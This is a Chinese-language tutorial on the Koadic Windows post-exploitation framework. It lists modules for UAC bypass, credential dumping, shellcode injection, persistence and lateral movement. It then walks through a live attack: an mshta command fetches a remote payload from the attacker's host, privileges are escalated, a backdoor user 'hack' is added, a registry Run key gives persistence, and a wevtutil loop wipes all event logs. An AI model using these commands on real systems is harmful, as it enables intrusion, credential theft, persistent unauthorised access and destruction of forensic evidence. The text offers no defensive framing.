koadic是一个windows平台的后渗透rootkit框架。它与meterpreter和empire类似,主要的区别是koadic的操作主要使用Windows Script Host(JScript/VBScript),这样koadic可以兼容windows 2000到windows 10范围内的系统(windows 2000不需要service pack)。
apt update //更新软件清单
apt install koadic //kali 2020中可以在线安装,但是kali 2021的安装源已删除了kodiac
可参考下面网址进行安装:
https://github.com/zerosum0x0/koadic
(二)koadic相关的概念
koadic //运行
api //关闭/打开REST API
clear //清屏
cmdshell //通过命令行与僵尸进行交互
createstager //为当前模块创建一个stager
creds //显示收集到的凭据信息
domain //显示收集到的域信息
edit //进入文本编辑器,编辑当前模块的代码
exit //退出程序
help //显示一个命令的帮助信息
info //显示当前模块的选项
jobs //显示job相关的信息
kill //通过ID杀死僵尸
listeners //显示关于stager的信息
load //重新加载所有的模块
pabst //PBR Friday
paddy //It's paddy, not patty
previous //返回到使用过的上一个模块
pyexec //evals some python
repeatjobs //显示正在反复执行的job的信息
run //运行当前模块
set //为当前模块设置变量
sounds //关闭/打开声音, sound(0|1)
spool //将输出写入文件
taco //taco time
unset //为当前模块清除一个变量的值
use //切换到其它模块
valentine //Love is in the wire
verbose //关闭/打开详情,verbose (0|1)
zombies //列出已入侵的目标
add_user
bitsadmin
bypassuac_compdefaults
bypassuac_compmgmtlauncher
bypassuac_eventvwr
bypassuac_fodhelper
bypassuac_sdclt
bypassuac_slui
bypassuac_systempropertiesadvanced
bypassuac_wsreset
clipboard
comsvcs_lsass
disk
download_file
enable_rdesktop
enum_domain_info
enum_printers
enum_shares
enum_users
exec_cmd
exec_psexec
exec_wmi
exec_wmic
hashdump_dc
hashdump_sam
implant/
killav
loot_finder
mimikatz_dotnet2js
mimikatz_tashlib
mshta
multi_module
office_key
password_box
reflectdll_excel
registry
regsvr
rundll32_js
schtasks
shellcode_dotnet2js
shellcode_dynwrapx
shellcode_excel
stage_wmi
stager/
system_createservice
tcp
thunderstruck
upload_file
user_hunter
voice
windows_key
wmi
wmic
可以看到,stager和implant是目录,其它都是单独的模块。其实,这些单独的模块在stager和implants目录中都能找到,单独列出来是为了便于操作。
Stagers 用于“勾住(hook)”目标主机,使攻击者能够使用implants。
模块 | 描述 |
stager/js/mshta | 使用MSHTA.exe HTMP应用程序,在内存中提供攻击载荷 |
stager/js/regsvr | 使用regsvr3.exe COM+脚本,在内存中提供攻击载荷 |
stager/js/rundll32_js | 使用rundll32.exe,在内存中提供攻击载荷 |
stager/js/disk | 使用磁盘上的文件,提供攻击载荷 |
stager/js/wmic | 使用WMIC,在内存中提供攻击载荷 |
stager/js/bitsadmin | 在Bitsadmin作业中传输一个包含JS的.wsf攻击载荷并执行。 |
目标主机被“勾住(hook)”后成为zombie,implants用于在zombie上执行任务。
模块 | 描述 |
implant/elevate/bypassuac_compdefaults | Bypass UAC via registry hijack for ComputerDefaults.exe. |
implant/elevate/bypassuac_compmgmtlauncher | Bypass UAC via registry hijack for CompMgmtLauncher.exe. |
implant/elevate/bypassuac_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10. |
implant/elevate/bypassuac_fodhelper | Bypass UAC via registry hijack for fodhelper.exe. |
implant/elevate/bypassuac_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10. |
implant/elevate/bypassuac_slui | Bypass UAC via registry hijack for slui.exe. |
implant/elevate/system_createservice | 通过SC.exe,将administrator会话提升到system会话。 |
implant/fun/zombie | 将音量开到最大,并在隐蔽窗口中打开The Cranberries的某tube视频。 |
implant/fun/voice | 使用text-to-speech播放一条消息。 |
implant/gather/clipboard | 获取用户剪贴板中的内容。 |
implant/gather/comsvcs_lsass | 使用comsvcs.dll创建LSASS的MiniDump,用pypykatz进行解析。 |
implant/gather/enum_domain_info | 获取windows域的信息。 |
implant/gather/hashdump_dc | NTDS.dit文件中的域控制器hash。 |
implant/gather/hashdump_sam | 从SAM中获取口令hash。 |
implant/gather/loot_finder | 查找目标上的战利品。 |
implant/gather/user_hunter | 使用Dynamic Wrapper X定位登陆到域控制器的用户。 |
implant/inject/mimikatz_dotnet2js | 注入反射加载的DLL,运行powerkatz.dll。(@tirannido DotNetToJS). |
implant/inject/mimikatz_dynwrapx | 使用Dynamic Wrapper X,注入反射加载的DLL,运行powerkatz.dll。 |
implant/inject/mimikatz_tashlib | 使用TashLib COM对象,执行任意shellcode。(Work in Progress!) |
implant/inject/shellcode_dotnet2js | 使用DotNet2JS技术执行任意shellcode。通过createremotethread 将shellcode作为新的线程注入到主机进程中。 |
implant/inject/shellcode_dynwrapx | 使用动态的Wrapper X COM对象执行任意shellcode。 |
implant/inject/shellcode_excel | 如果目标系统安装了execl,则可运行任意shellcode。 |
implant/manage/enable_rdesktop | 启用目标系统的远程桌面。 |
implant/manage/exec_cmd | 在目标系统中运行任意命令,并可选择是否接收输出信息。 |
implant/persist/add_user | 添加本地账户或域账户。 |
implant/persist/registry | 在注册表中添加Koadic stager攻击载荷。 |
implant/persist/schtasks | 通过计划任务实现持久化。 |
implant/persist/wmi | 通过WMI订阅实现持久化。 |
implant/phish/password_box | 欺骗用户输入口令。 |
implant/pivot/exec_psexec | 使用sysinternals中的psexec在其它机器上运行命令。 |
implant/pivot/exec_wmi | 使用WMI在其它机器上执行命令。 |
implant/pivot/stage_wmi | 使用WMI在其它机器上“勾住”一个僵尸。 |
implant/scan/tcp | 使用HTTP扫描目标主机所在局域网的开放端口。 |
implant/util/download_file | 从目标主机下载文件。 |
implant/util/multi_module | 顺序执行多个implants。 |
implant/util/upload_file | 从正在监听的服务器上传文件到目标主机。 |
stager/js/mshta模块是首次执行koadic时的默认模块,由于这个stager使用的是windows内置的mshta,是最安全的,因此可以先使用这个模块获取远程主机的控制权。
info //查看有哪些参数需要设置
可以看到,默认情况下已经设置好了所有的参数,直接运行即可。
run //运行
在被攻击主机上按照提示执行:
mshta http://192.168.43.234:9999/cXPJX
之后控制端就会获取zombie:
使用zombies命令查看受控端:
可以看到,当前只有一个zombie,IP地址为192.168.43.108。注意STATUS字段的值,zombie下线之后,其信息仍然可以看到,但是STATUS为DEAD。
使用zombies ID或zombies IP,都可以查看特定zombie的信息。
zombies 0
zombies 192.168.43.108
use implant/elevate/bypassuac_compmgmtlauncher
info //查看需要设置的变量
run //运行模块代码
得到了zombie 1。
zombies 1 //查看详情
可以看到,Elevated:YES,说明提权成功了,zombie 1是提权后的会话。
use add_user //切换到add_user模块
info //查看需要设置的变量
set username hack
set password hack
cmdshell 1 //使用cmdshell命令,进入zombie 1的命令行
net user //查看账户信息
可以看到hack用户,说明前面的提权和添加用户都是成功的。
use implant/persist/registry
info //查看需要设置的变量
set payload 0 //payload设置为0即可
run
显示注册表项添加成功。
在zombie上查看,可以看到在HKCU\Software\Microsoft\Windows\CurrentVersion\Run中存在名为K0adic的字符串值。
重启zombie主机,zombie关机后会显示zombie的STATUS为dead,但是随着zombie开机,会重新获取zombie,ID为2。
说明自启动的payload成功执行了。
对于刚刚我们的操作,可以运行“for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″”命令,使用“implant/manage/exec_cmd”模块来清除所有事件日志。命令如下:
use implant/manage/exec_cmd
info
set zombie 3
set CMD for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
run
这个模块没有输出,只能到zombie主机上查看效果。在zombie主机的“事件查看器—windows日志—系统”中可以看到,在执行implant/manage/exec_cmd的那个时间发生了日志清除事件,清除了RemoteDesktopServices-RemoteDesktopSessionManager/Admin日志、system日志和powershell日志。说明模块执行成功。